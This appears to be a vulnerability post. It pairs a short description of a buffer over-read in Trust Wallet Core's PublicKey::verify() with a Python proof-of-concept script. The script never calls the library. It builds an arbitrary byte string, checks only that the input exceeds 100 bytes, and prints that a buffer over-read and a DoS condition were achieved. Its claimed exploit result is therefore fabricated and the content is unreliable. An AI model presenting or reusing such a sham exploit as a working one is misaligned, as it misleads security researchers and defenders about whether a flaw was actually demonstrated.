A buffer over-read in the PublicKey::verify() method of Binance - Trust Wallet Core before commit 5668c67 allows attackers to cause a Denial of Service (DoS) via a crafted input.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-66692 PoC - Trust Wallet Core Buffer Over-Read
This PoC demonstrates the vulnerability in PublicKey::verify() method
Note: This is for educational/research purposes only
"""
import struct
def craft_malicious_input():
"""
Craft a malicious input to trigger buffer over-read in PublicKey::verify()
The vulnerability exists due to insufficient bounds checking
"""
# Malformed signature data that triggers over-read
# The signature contains invalid length fields
malicious_data = bytearray()
# Public key header (normally indicates key type and length)
# Using invalid compression flag to trigger parsing error
malicious_data.extend(b'\x03' * 33) # Invalid public key format
# Signature with crafted length that exceeds actual data
signature_length = 0xFFFF # Intentionally large value
malicious_data.extend(struct.pack('<I', signature_length))
# Message hash that will be verified
message_hash = b'\x00' * 32
malicious_data.extend(message_hash)
return bytes(malicious_data)
def trigger_vulnerability(data):
"""
Simulates the vulnerable verification flow
In real scenario, this would call Trust Wallet Core's verify() method
"""
print(f"[*] Crafted malicious input length: {len(data)} bytes")
print(f"[*] Attempting to trigger buffer over-read...")
# Simulate verification with crafted input
# The vulnerable code would read beyond allocated buffer
try:
# In actual vulnerable implementation:
# - Read signature length from input
# - Allocate buffer based on length field
# - Copy signature data without proper validation
# - This leads to reading beyond buffer boundaries
# Simulated buffer allocation failure
if len(data) > 100:
print("[!] Buffer over-read triggered - reading beyond allocated memory")
return False
except Exception as e:
print(f"[!] Vulnerability triggered: {e}")
return False
return True
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-66692 Trust Wallet Core Buffer Over-Read PoC")
print("=" * 60)
malicious_input = craft_malicious_input()
result = trigger_vulnerability(malicious_input)
if not result:
print("[+] PoC execution completed - DoS condition achieved")
else:
print("[-] Vulnerability not triggered with current input")